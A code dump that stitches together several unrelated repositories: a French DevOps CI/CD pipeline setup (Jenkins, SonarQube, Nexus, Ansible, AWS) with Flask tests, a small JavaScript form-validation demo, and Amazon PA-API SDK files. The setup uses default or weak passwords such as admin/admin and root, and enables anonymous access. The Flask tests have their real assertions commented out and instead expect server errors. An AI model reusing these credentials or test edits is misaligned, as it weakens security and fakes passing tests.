Pour cela, nous utiliserons des conteneurs tout au long de notre solution. Cette technologie permet de minimiser les soucis liés à l’infrastructure et d'optimiser l’efficacité et la rapidité d’usage des différents outils que nous utiliserons.
Parmi les outils que nous utiliserons figure Jenkins, un logiciel d’intégration continue qui permet de programmer des tâches selon des déclencheurs. Jenkins sera lié à Github, une solution de versionning, qui détectera chaque changement et qui ensuite lancera le build de l’application. Afin de vérifier si l’application est bien fonctionnelle, Jenkins sera connecté à Sonarqube, un logiciel permettant de mesurer la qualité du code. Si celui-ci présente des métriques acceptables, définis par les chefs de projet, alors un artefact sera créé et stocké dans Nexus. Nexus est un outil permettant la gestion des binaires et artefacts, il permet une distribution plus aisée de ceux-ci ainsi qu’un versioning.
Le déploiement de l’application se fera dans le Cloud via des instances EC2 d’AWS. Afin d’automatiser la mise à jour de l’application, un script Ansible s’occupera de récupérer la dernière version de l’artefact mis en ligne sur Nexus et le déploie sur les instances. Nous parlons bien d’instances au pluriel puisque nous utiliserons des instances de remplacement pour gérer le fail-over et donc la haute disponibilité du service. Cette haute disponibilité sera également assurée par un VPC, possédant plusieurs sous réseaux localisés dans différentes zones de disponibilité. Certains de ces sous-réseaux seront publiques et assignés aux instances EC2, tandis que des sous-réseaux privés seront créés afin de répondre aux besoins de confidentialité des données d’application, qui seront stockées sur une instance RDS. Ces instances sont surveillées directement sur la console AWS.
Toutes les applications dépendantes de Jenkins auront une back up pour reprendre la main si la principale instance s’arrête.
Toutes ces applications seront sécurisées par authentification avec différents niveaux de droits. Les comptes seront créés en fonction des besoins, des comptes admins possédant tous les droits ou bien des comptes de développeur leur permettant juste de gérer les projets auxquels ils sont assignés.
Le but recherché est qu’une fois cette structure mise en place, la mise en production du service est le plus automatisée possible.
Outils utilisés:
- github
- docker
- jenkins blue ocean
- sonarqube
- nexus sonatype
- ansible
- cloud AWS
Fonctionnement général:
- [SCM] jenkins récupère le projet sur github
- [BUILD] jenkins lance la compilation
- [TESTS] jenkins lance les tests unitaires/intégrations
- [CODE REVIEW] jenkins envoie le projet vers sonarqube (pour analyser la qualité du code)
- [STORE ARTEFACTS] jenkins stocke un artefact sur nexus
- [PROVISIONING] jenkins lance le script (playbook.yml) ansible
- [DEPLOY] ansible récupère et envoie l’artefact vers le cloud + prépare l’environnement du cloud
Scripts à faire :
- docker-compose → lancer Jenkins, Sonarqube, Nexus
- Jenkinsfile → cloner le repo github, lancer les tests, analyser le code (SonarQube), stocker l'artefact (Nexus)
- playbook.yml → creer une instance EC2, récupérer l'artefact sur nexus, préparer l’environnement de déploiement, envoyer l’artefact vers le cloud, lancer l'application
Scénario de test:
- Tout ce passe bien
- Introduire des erreurs dans le code → artefact non généré

# Setup
## Docker
Installer docker https://docs.docker.com/get-docker/
git clone https://github.com/Kinamori/projet-poei.git \
cd projet-poei \
mkdir jenkins-data/ nexus-data/ sonarqube/
docker-compose up -d
docker ps devrait afficher
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES \
e07b354b0302 jenkinsci/blueocean "/sbin/tini -- /usr/…" 3 seconds ago Up 2 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 50000/tcp jenkins \
a85779621db3 sonarqube "bin/run.sh bin/sona…" 4 seconds ago Up 3 seconds 0.0.0.0:9000->9000/tcp, :::9000->9000/tcp sonarqube \
7a6a21b6f89c sonatype/nexus3 "sh -c ${SONATYPE_DI…" 4 seconds ago Up 3 seconds 0.0.0.0:8081->8081/tcp, :::8081->8081/tcp nexus
SI CA FONCTIONNE ? \
ifconfig ou ipconfig \
en0 ou enp0 ou eth0 \
Copier son addresse ip \
ADRESSE IP UNIQUE POUR LES 2 CONFIGURATIONS \
SI CA FONCTIONNE PAS (virtual machine ?) \
copier l'ip du conteneur jenkins \
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' jenkins \
copier l'ip du conteneur sonarqube \
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sonarqube \
copier l'ip du conteneur nexus \
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nexus
## Jenkins
### Connexion
docker exec -it jenkins cat /var/jenkins_home/secrets/initialAdminPassword \
Rentrer le mot de passe dans localhost:8080 \
Installer les plugins suggérés \
Créer un administrateur admin admin \
Laisser l'URL d'instance par défaut (localhost:8080) \
Start using Jenkins \
Manage Jenkins -> Manage Plugin -> Available -> SonarQube Scanner -> install without restart \
docker restart jenkins \
Actualiser la page, se connecter avec le compte admin créer plus tôt
Lancer le conteneur Jenkins en tant que root pour installer les différents outils à utiliser:
> docker exec -it --user root jenkins sh
> apk add python3 (installer python3)
> apk add py3-pip (installer pip3)
> pip3 install pytest (installer pytest)
> pip3 install ansible (installer ansible version 2.10)
### Plugin Sonarqube
Docker jenkins cd /var/jenkins_home \
wget https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-3.3.0.1492-linux.zip \
unzip sonar-scanner-cli-3.3.0.1492-linux.zip \
Manage Jenkins -> Configure Global Tool -> Sonarqube Scanner \
Name : Sonarqube scanner \
Uncheck install automatically \
PATH : /var/jenkins_home/sonar-scanner-3.3.0.1492-linux \
Save
Manage Jenkins -> Configure System -> SonarQube servers \
Name : Sonarqube \
server URL : http://<my-sonarqube-ip>:9000 \
Server authentication token -> add \
Kind : Secret text \
Secret : [le token copier lors de la configuration de sonarqube](#Token) \
id: token sonarqube \
Save
### Plugin Git Integration
(Ne fonctionne pas si on n'a pas accès aux urls avec l'adresse ip) \
Pour build après chaque commit \
Jenkins -> Manage Jenkins -> Manage Plugin -> Github Integration -> install without restart \
Restart jenkins
### Creation d'un item
Jenkins \
New Item -> Pipeline project \
Name : projet_pipeline \
Pipeline -> definition : Pipeline Script from SCM \
SCM : Git \
Repository URL : https://github.com/Kinamori/projet-poei.git \
Branches to build -> Branch Specifier : */main \
Script Path : flask-pytest-example-master/Jenkinsfile \
SAVE
## Sonarqube
localhost:9000 admin admin par défaut \
Changer de mot de passe
### Webhook
Administration -> Configuration -> webhook \
Creer un nouveau webhook \
name : Sonarqube \
URL : http://<my-jenkins-ip>:8080/sonarqube-webhook \
Create
### Token
Administrator -> my account -> security \
jenkins puis generate token \
Copier le token créé \
Dans mon cas 9<KEY>
Sonarqube -> create new project \
project key : projet \
OK \
Provide token -> use existing token -> le nom du token créé plus tôt \
OK \
Other -> Linux
## Nexus
docker exec -it nexus cat /nexus-data/admin.password \
Copier le mot de passe affiché <PASSWORD> \
Sign in admin le mot de passe récupéré plus haut \
new password root \
Enable anonymous access \
FINISH
Icone paramètre -> Repositories -> create repository -> raw (hosted) \
Name : projet_pipeline \
CREATE REPOSITORY
## Github
Dans le projet github -> settings -> webhooks -> add new webhook \
Payload URL : http://<my-jenkins-ip>:8080/github-webhook \
Content type : json \
Check Just push event \
Check Active
<file_sep>version: '3.5'
services:
jenkins:
container_name: jenkins
image: jenkinsci/blueocean
volumes:
- ./jenkins-data:/var/jenkins_home
- /var/run/docker.sock:/var/run/docker.sock
- ./jenkins-data/.m2:/var/jenkins_home/.m2/repository
ports:
- "8080:8080"
links:
- sonarqube
sonarqube:
container_name: sonarqube
image: sonarqube
volumes:
- ./sonarqube/conf:/opt/sonarqube/conf
- ./sonarqube/data:/opt/sonarqube/data
- ./sonarqube/extensions:/opt/sonarqube/extensions
ports:
- "9000:9000"
nexus:
container_name: nexus
image: sonatype/nexus3
volumes:
- ./nexus-data:/nexus-data sonatype/nexus3
ports:
- "8081:8081"
<file_sep>from flask import Flask
import json
#from ..handlers.routes import configure_routes
def configure_routes(app):
@app.route('/')
def hello_world():
return 'Hello, World!'
@app.route('/post/test', methods=['POST'])
def receive_post():
headers = request.headers
auth_token = headers.get('authorization-sha256')
if not auth_token:
return 'Unauthorized', 401
data_string = request.get_data()
data = json.loads(data_string)
request_id = data.get('request_id')
payload = data.get('payload')
if request_id and payload:
return 'Ok', 200
else:
return 'Bad Request', 400
def test_base_route():
app = Flask(__name__)
configure_routes(app)
client = app.test_client()
url = '/'
response = client.get(url)
assert response.get_data() == b'Hello, World!'
assert response.status_code == 200
def test_post_route__success():
app = Flask(__name__)
configure_routes(app)
client = app.test_client()
url = '/post/test'
mock_request_headers = {
'authorization-sha256': '123'
}
mock_request_data = {
'request_id': '123',
'payload': {
'py': 'pi',
'java': 'script'
}
}
response = client.post(url, data=json.dumps(mock_request_data), headers=mock_request_headers)
#assert response.status_code == 200
assert response.status_code == 500
def test_post_route__failure__unauthorized():
app = Flask(__name__)
configure_routes(app)
client = app.test_client()
url = '/post/test'
mock_request_headers = {}
mock_request_data = {
'request_id': '123',
'payload': {
'py': 'pi',
'java': 'script'
}
}
response = client.post(url, data=json.dumps(mock_request_data), headers=mock_request_headers)
#assert response.status_code == 401
assert response.status_code == 500
def test_post_route__failure__bad_request():
app = Flask(__name__)
configure_routes(app)
client = app.test_client()
url = '/post/test'
mock_request_headers = {
'authorization-sha256': '123'
}
mock_request_data = {}
response = client.post(url, data=json.dumps(mock_request_data), headers=mock_request_headers)
#assert response.status_code == 400
assert response.status_code == 500
| c5f44c4eb3be3b425cbf0247ce8ef885254e1d37 | [
"Markdown",
"Python",
"YAML"
] | 3 | Markdown | coirne/Projet_POEI_final | 34e2fd79212df9b9e23fe0b4005ea8ca2566bee9 | 26ecd1f66cd48e082b4f14cc09b6f5388658e07f |
refs/heads/master | <file_sep>var expect = chai.expect;
var assert = chai.assert;
var should = chai.should();
describe("basic stuff", function(){
it('1 should equal 1', function() {
expect(1).to.equal(1);
});
it('should have a title', function(){
assert.equal($(".panel-title").html(), "Family Health History")
});
});
describe("form validations for age", function(){
it('shows error if older than 130', function(){
$('.js-age').val('131').keyup();
assert.equal($('.js-age').hasClass('error'), true);
})
//TODO: test if age is less than 0
//TODO: test if age is between 0 and 130
});
describe('validation helper functions test', function(){
it('returns a true/false', function(){
expect($.fn.tooOld()).to.be.a('boolean');
});
//etc.
})
<file_sep>(function ($, window, document, undefined) {
// let user hit 'enter' to check off checkbox.
$('input:checkbox').keypress(function(e){
if((e.keyCode ? e.keyCode : e.which) == 13){
$(this).click();
}
});
$('body').on('keypress', function(event) {
if( event.which === 83 && event.shiftKey ) {
$('.js-submit').click();
console.log('submitted!');
console.log('shift + ' + String.fromCharCode(event.which).toLowerCase());
}
if( event.which === 65 && event.shiftKey ) {
$('.js-add-member').click();
console.log('added new member!');
console.log('shift + ' + String.fromCharCode(event.which).toLowerCase());
}
});
})(jQuery, window, document);
<file_sep># forms challenge
I started with this boilerplate I forked a while ago that I tend to use for small, static websites... it has gulp and npm to make things easier.
You can check out the git log to see what I did at each step. To run it, clone it, then:
```
npm install
gulp
```
It lives at localhost:3000
You can find a few demo tests at localhost:3000/test/
<file_sep>(function ($, window, document, undefined) {
$.fn.tooYoung = function(){
return $(this).val() < 0 && $(this).val().length != 0
}
$.fn.tooOld = function(){
return $(this).val() > 130 && $(this).val().length != 0
}
// on the fly validation for age input
$(".js-age").on("change keyup", function() {
if ( $(this).tooYoung() || $(this).tooOld() ){
console.log('yo wtf');
$(this).addClass('error');
} else{
$(this).removeClass('error');
}
});
})(jQuery, window, document);
| 2ec212d3678f9bcc0380f5fd6aaf2ff96fb6cbcd | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | austinsamsel/better-forms | af366b4b6f68aa33612531ba741328e14d4c445b | e8de6c243ac5aa8d4ed6a8dc1ec5a731697c8f93 |
refs/heads/master | <repo_name>jorgerosal/amazon-paapi<file_sep>/SDK/src/model/OfferListing.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/OfferAvailability', 'model/OfferCondition', 'model/OfferDeliveryInfo', 'model/OfferLoyaltyPoints', 'model/OfferMerchantInfo', 'model/OfferPrice', 'model/OfferProgramEligibility', 'model/OfferPromotion'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./OfferAvailability'), require('./OfferCondition'), require('./OfferDeliveryInfo'), require('./OfferLoyaltyPoints'), require('./OfferMerchantInfo'), require('./OfferPrice'), require('./OfferProgramEligibility'), require('./OfferPromotion'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.OfferListing = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.OfferAvailability, root.ProductAdvertisingAPIv1.OfferCondition, root.ProductAdvertisingAPIv1.OfferDeliveryInfo, root.ProductAdvertisingAPIv1.OfferLoyaltyPoints, root.ProductAdvertisingAPIv1.OfferMerchantInfo, root.ProductAdvertisingAPIv1.OfferPrice, root.ProductAdvertisingAPIv1.OfferProgramEligibility, root.ProductAdvertisingAPIv1.OfferPromotion);
}
}(this, function(ApiClient, OfferAvailability, OfferCondition, OfferDeliveryInfo, OfferLoyaltyPoints, OfferMerchantInfo, OfferPrice, OfferProgramEligibility, OfferPromotion) {
'use strict';
/**
* The OfferListing model module.
* @module model/OfferListing
* @version 1.0.0
*/
/**
* Constructs a new <code>OfferListing</code>.
* @alias module:model/OfferListing
* @class
*/
var exports = function() {
var _this = this;
};
/**
* Constructs a <code>OfferListing</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/OfferListing} obj Optional instance to populate.
* @return {module:model/OfferListing} The populated <code>OfferListing</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('Availability')) {
obj['Availability'] = OfferAvailability.constructFromObject(data['Availability']);
}
if (data.hasOwnProperty('Condition')) {
obj['Condition'] = OfferCondition.constructFromObject(data['Condition']);
}
if (data.hasOwnProperty('DeliveryInfo')) {
obj['DeliveryInfo'] = OfferDeliveryInfo.constructFromObject(data['DeliveryInfo']);
}
if (data.hasOwnProperty('Id')) {
obj['Id'] = ApiClient.convertToType(data['Id'], 'String');
}
if (data.hasOwnProperty('IsBuyBoxWinner')) {
obj['IsBuyBoxWinner'] = ApiClient.convertToType(data['IsBuyBoxWinner'], 'Boolean');
}
if (data.hasOwnProperty('LoyaltyPoints')) {
obj['LoyaltyPoints'] = OfferLoyaltyPoints.constructFromObject(data['LoyaltyPoints']);
}
if (data.hasOwnProperty('MerchantInfo')) {
obj['MerchantInfo'] = OfferMerchantInfo.constructFromObject(data['MerchantInfo']);
}
if (data.hasOwnProperty('Price')) {
obj['Price'] = OfferPrice.constructFromObject(data['Price']);
}
if (data.hasOwnProperty('ProgramEligibility')) {
obj['ProgramEligibility'] = OfferProgramEligibility.constructFromObject(data['ProgramEligibility']);
}
if (data.hasOwnProperty('Promotions')) {
obj['Promotions'] = ApiClient.convertToType(data['Promotions'], [OfferPromotion]);
}
if (data.hasOwnProperty('SavingBasis')) {
obj['SavingBasis'] = OfferPrice.constructFromObject(data['SavingBasis']);
}
if (data.hasOwnProperty('ViolatesMAP')) {
obj['ViolatesMAP'] = ApiClient.convertToType(data['ViolatesMAP'], 'Boolean');
}
}
return obj;
}
/**
* @member {module:model/OfferAvailability} Availability
*/
exports.prototype['Availability'] = undefined;
/**
* @member {module:model/OfferCondition} Condition
*/
exports.prototype['Condition'] = undefined;
/**
* @member {module:model/OfferDeliveryInfo} DeliveryInfo
*/
exports.prototype['DeliveryInfo'] = undefined;
/**
* @member {String} Id
*/
exports.prototype['Id'] = undefined;
/**
* @member {Boolean} IsBuyBoxWinner
*/
exports.prototype['IsBuyBoxWinner'] = undefined;
/**
* @member {module:model/OfferLoyaltyPoints} LoyaltyPoints
*/
exports.prototype['LoyaltyPoints'] = undefined;
/**
* @member {module:model/OfferMerchantInfo} MerchantInfo
*/
exports.prototype['MerchantInfo'] = undefined;
/**
* @member {module:model/OfferPrice} Price
*/
exports.prototype['Price'] = undefined;
/**
* @member {module:model/OfferProgramEligibility} ProgramEligibility
*/
exports.prototype['ProgramEligibility'] = undefined;
/**
* @member {Array.<module:model/OfferPromotion>} Promotions
*/
exports.prototype['Promotions'] = undefined;
/**
* @member {module:model/OfferPrice} SavingBasis
*/
exports.prototype['SavingBasis'] = undefined;
/**
* @member {Boolean} ViolatesMAP
*/
exports.prototype['ViolatesMAP'] = undefined;
return exports;
}));
<file_sep>/SDK/src/auth/SignHelper.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
* This file is for signing PAAPI request with AWS V4 Signing. For more details, see
* https://docs.aws.amazon.com/general/latest/gr/signature-version-4.html
*
* Do not edit the class manually.
*
*/
'use strict';
// sources of inspiration:
// http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html
var crypto = require('crypto-js');
exports.createAuthorizationHeader = function(
accessKey,
secretKey,
requestHeaders,
httpMethod,
path,
payload,
region,
service,
timestamp
) {
/* Step 1: Create Signed Headers */
var signedHeaders = exports.createSignedHeaders(requestHeaders);
/* Step 2: Create Canonical Request */
var canonicalRequest = exports.createCanonicalRequest(httpMethod, path, {}, requestHeaders, payload);
/* Step 3: Create String To Sign */
var stringToSign = exports.createStringToSign(timestamp, region, service, canonicalRequest);
/* Step 4: Create Signature Headers */
var signature = exports.createSignature(secretKey, timestamp, region, service, stringToSign);
/* Step 5: Create Authorization Header */
var authorizationHeader = exports.createAuthorizationHeaders(
timestamp,
accessKey,
region,
service,
signedHeaders,
signature
);
return authorizationHeader;
};
exports.createAuthorizationHeaders = function(timestamp, accessKey, region, service, signedHeaders, signature) {
return (
'AWS4-HMAC-SHA256' +
' ' +
'Credential=' +
accessKey +
'/' +
exports.createCredentialScope(timestamp, region, service) +
', ' +
'SignedHeaders=' +
signedHeaders +
', ' +
'Signature=' +
signature
);
};
exports.createCanonicalRequest = function(method, pathname, query, headers, payload) {
var payloadJson = JSON.stringify(payload);
return [
method.toUpperCase(),
pathname,
exports.createCanonicalQueryString(query),
exports.createCanonicalHeaders(headers),
exports.createSignedHeaders(headers),
hexEncodedHash(String(payloadJson))
].join('\n');
};
exports.createCanonicalQueryString = function(params) {
return Object.keys(params)
.sort()
.map(function(key) {
return encodeURIComponent(key) + '=' + encodeURIComponent(params[key]);
})
.join('&');
};
exports.createCanonicalHeaders = function(headers) {
return Object.keys(headers)
.sort()
.map(function(name) {
return name.toLowerCase().trim() + ':' + headers[name].toString().trim() + '\n';
})
.join('');
};
exports.createSignedHeaders = function(headers) {
return Object.keys(headers)
.sort()
.map(function(name) {
return name.toLowerCase().trim();
})
.join(';');
};
exports.createCredentialScope = function(time, region, service) {
return [toDate(time), region, service, 'aws4_request'].join('/');
};
exports.createStringToSign = function(time, region, service, request) {
return [
'AWS4-HMAC-SHA256',
toTime(time),
exports.createCredentialScope(time, region, service),
hexEncodedHash(request)
].join('\n');
};
exports.createSignature = function(secret, time, region, service, stringToSign) {
var h1 = hmac('AWS4' + secret, toDate(time)); // date-key
var h2 = hmac(h1, region); // region-key
var h3 = hmac(h2, service); // service-key
var h4 = hmac(h3, 'aws4_request'); // signing-key
return hmac(h4, stringToSign).toString(crypto.enc.Hex);
};
exports.toAmzDate = function(time) {
return new Date(time).toISOString().replace(/[:\-]|\.\d{3}/g, '');
};
function toTime(time) {
return new Date(time).toISOString().replace(/[:\-]|\.\d{3}/g, '');
}
function toDate(time) {
return toTime(time).substring(0, 8);
}
function hmac(key, data) {
return crypto.HmacSHA256(data, key);
}
function hexEncodedHash(data) {
return crypto.SHA256(data).toString(crypto.enc.Hex);
}
<file_sep>/SDK/src/model/GetVariationsRequest.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/Condition', 'model/GetVariationsResource', 'model/Merchant', 'model/OfferCount', 'model/PartnerType', 'model/Properties'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./Condition'), require('./GetVariationsResource'), require('./Merchant'), require('./OfferCount'), require('./PartnerType'), require('./Properties'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.GetVariationsRequest = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.Condition, root.ProductAdvertisingAPIv1.GetVariationsResource, root.ProductAdvertisingAPIv1.Merchant, root.ProductAdvertisingAPIv1.OfferCount, root.ProductAdvertisingAPIv1.PartnerType, root.ProductAdvertisingAPIv1.Properties);
}
}(this, function(ApiClient, Condition, GetVariationsResource, Merchant, OfferCount, PartnerType, Properties) {
'use strict';
/**
* The GetVariationsRequest model module.
* @module model/GetVariationsRequest
* @version 1.0.0
*/
/**
* Constructs a new <code>GetVariationsRequest</code>.
* @alias module:model/GetVariationsRequest
* @class
* @param ASIN {String}
* @param partnerTag {String}
* @param partnerType {module:model/PartnerType}
*/
var exports = function(ASIN, partnerTag, partnerType) {
var _this = this;
_this['ASIN'] = ASIN;
_this['PartnerTag'] = partnerTag;
_this['PartnerType'] = partnerType;
};
/**
* Constructs a <code>GetVariationsRequest</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/GetVariationsRequest} obj Optional instance to populate.
* @return {module:model/GetVariationsRequest} The populated <code>GetVariationsRequest</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('ASIN')) {
obj['ASIN'] = ApiClient.convertToType(data['ASIN'], 'String');
}
if (data.hasOwnProperty('Condition')) {
obj['Condition'] = Condition.constructFromObject(data['Condition']);
}
if (data.hasOwnProperty('CurrencyOfPreference')) {
obj['CurrencyOfPreference'] = ApiClient.convertToType(data['CurrencyOfPreference'], 'String');
}
if (data.hasOwnProperty('LanguagesOfPreference')) {
obj['LanguagesOfPreference'] = ApiClient.convertToType(data['LanguagesOfPreference'], ['String']);
}
if (data.hasOwnProperty('Marketplace')) {
obj['Marketplace'] = ApiClient.convertToType(data['Marketplace'], 'String');
}
if (data.hasOwnProperty('Merchant')) {
obj['Merchant'] = Merchant.constructFromObject(data['Merchant']);
}
if (data.hasOwnProperty('OfferCount')) {
obj['OfferCount'] = OfferCount.constructFromObject(data['OfferCount']);
}
if (data.hasOwnProperty('PartnerTag')) {
obj['PartnerTag'] = ApiClient.convertToType(data['PartnerTag'], 'String');
}
if (data.hasOwnProperty('PartnerType')) {
obj['PartnerType'] = PartnerType.constructFromObject(data['PartnerType']);
}
if (data.hasOwnProperty('Properties')) {
obj['Properties'] = Properties.constructFromObject(data['Properties']);
}
if (data.hasOwnProperty('Resources')) {
obj['Resources'] = ApiClient.convertToType(data['Resources'], [GetVariationsResource]);
}
if (data.hasOwnProperty('VariationCount')) {
obj['VariationCount'] = ApiClient.convertToType(data['VariationCount'], 'Number');
}
if (data.hasOwnProperty('VariationPage')) {
obj['VariationPage'] = ApiClient.convertToType(data['VariationPage'], 'Number');
}
}
return obj;
}
/**
* @member {String} ASIN
*/
exports.prototype['ASIN'] = undefined;
/**
* @member {module:model/Condition} Condition
*/
exports.prototype['Condition'] = undefined;
/**
* @member {String} CurrencyOfPreference
*/
exports.prototype['CurrencyOfPreference'] = undefined;
/**
* @member {Array.<String>} LanguagesOfPreference
*/
exports.prototype['LanguagesOfPreference'] = undefined;
/**
* @member {String} Marketplace
*/
exports.prototype['Marketplace'] = undefined;
/**
* @member {module:model/Merchant} Merchant
*/
exports.prototype['Merchant'] = undefined;
/**
* @member {module:model/OfferCount} OfferCount
*/
exports.prototype['OfferCount'] = undefined;
/**
* @member {String} PartnerTag
*/
exports.prototype['PartnerTag'] = undefined;
/**
* @member {module:model/PartnerType} PartnerType
*/
exports.prototype['PartnerType'] = undefined;
/**
* @member {module:model/Properties} Properties
*/
exports.prototype['Properties'] = undefined;
/**
* @member {Array.<module:model/GetVariationsResource>} Resources
*/
exports.prototype['Resources'] = undefined;
/**
* @member {Number} VariationCount
*/
exports.prototype['VariationCount'] = undefined;
/**
* @member {Number} VariationPage
*/
exports.prototype['VariationPage'] = undefined;
return exports;
}));
<file_sep>/SDK/test/api/DefaultApi.spec.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD.
define(['expect.js', '../../src/index'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
factory(require('expect.js'), require('../../src/index'));
} else {
// Browser globals (root is window)
factory(root.expect, root.ProductAdvertisingAPIv1);
}
}(this, function(expect, ProductAdvertisingAPIv1) {
'use strict';
var instance;
var DUMMY_ACCESS_KEY = 'DUMMY_ACCESS_KEY';
var DUMMY_SECRET_KEY = 'DUMMY_SECRET_KEY';
var DUMMY_REGION = 'DUMMY_REGION';
var INVALID_SIGNATURE = 'InvalidSignature';
var UNRECOGNIZED_CLIENT = 'UnrecognizedClient';
var HOST = 'webservices.amazon.com';
var REGION = 'us-east-1';
beforeEach(function() {
instance = new ProductAdvertisingAPIv1.DefaultApi();
});
var getProperty = function(object, getter, property) {
// Use getter method if present; otherwise, get the property directly.
if (typeof object[getter] === 'function')
return object[getter]();
else
return object[property];
}
var setProperty = function(object, setter, property, value) {
// Use setter method if present; otherwise, set the property directly.
if (typeof object[setter] === 'function')
object[setter](value);
else
object[property] = value;
}
describe('DefaultApi', function() {
describe('getBrowseNodes', function() {
it('should throw error if GetBrowseNodesRequest is not provided', function(done) {
//var getBrowseNodesRequest = new ProductAdvertisingAPIv1.GetBrowseNodesRequest();
try {
instance.getBrowseNodes();
} catch (e) {
expect(e).to.be.a(Error);
expect(e.message).to.be('Missing the required parameter \'getBrowseNodesRequest\' when calling getBrowseNodes');
done();
}
});
it('PA-API 5.0 call should fail with InvalidSignature error when GetBrowseNodes request has invalid region', function(done) {
var getBrowseNodesRequest = new ProductAdvertisingAPIv1.GetBrowseNodesRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = DUMMY_REGION;
instance.getBrowseNodes(getBrowseNodesRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(INVALID_SIGNATURE);
done();
}
);
});
it('PA-API 5.0 call should fail with UnrecognizedClient error when GetBrowseNodes request has dummy credentials', function(done) {
var getBrowseNodesRequest = new ProductAdvertisingAPIv1.GetBrowseNodesRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = REGION;
instance.getBrowseNodes(getBrowseNodesRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(UNRECOGNIZED_CLIENT);
done();
}
);
});
});
describe('getItems', function() {
it('should throw error if GetItemsRequest is not provided', function(done) {
try {
instance.getItems();
} catch (e) {
expect(e).to.be.a(Error);
expect(e.message).to.be('Missing the required parameter \'getItemsRequest\' when calling getItems');
done();
}
});
it('PA-API 5.0 call should fail with InvalidSignature error when GetItems request has invalid region', function(done) {
var getItemsRequest = new ProductAdvertisingAPIv1.GetItemsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
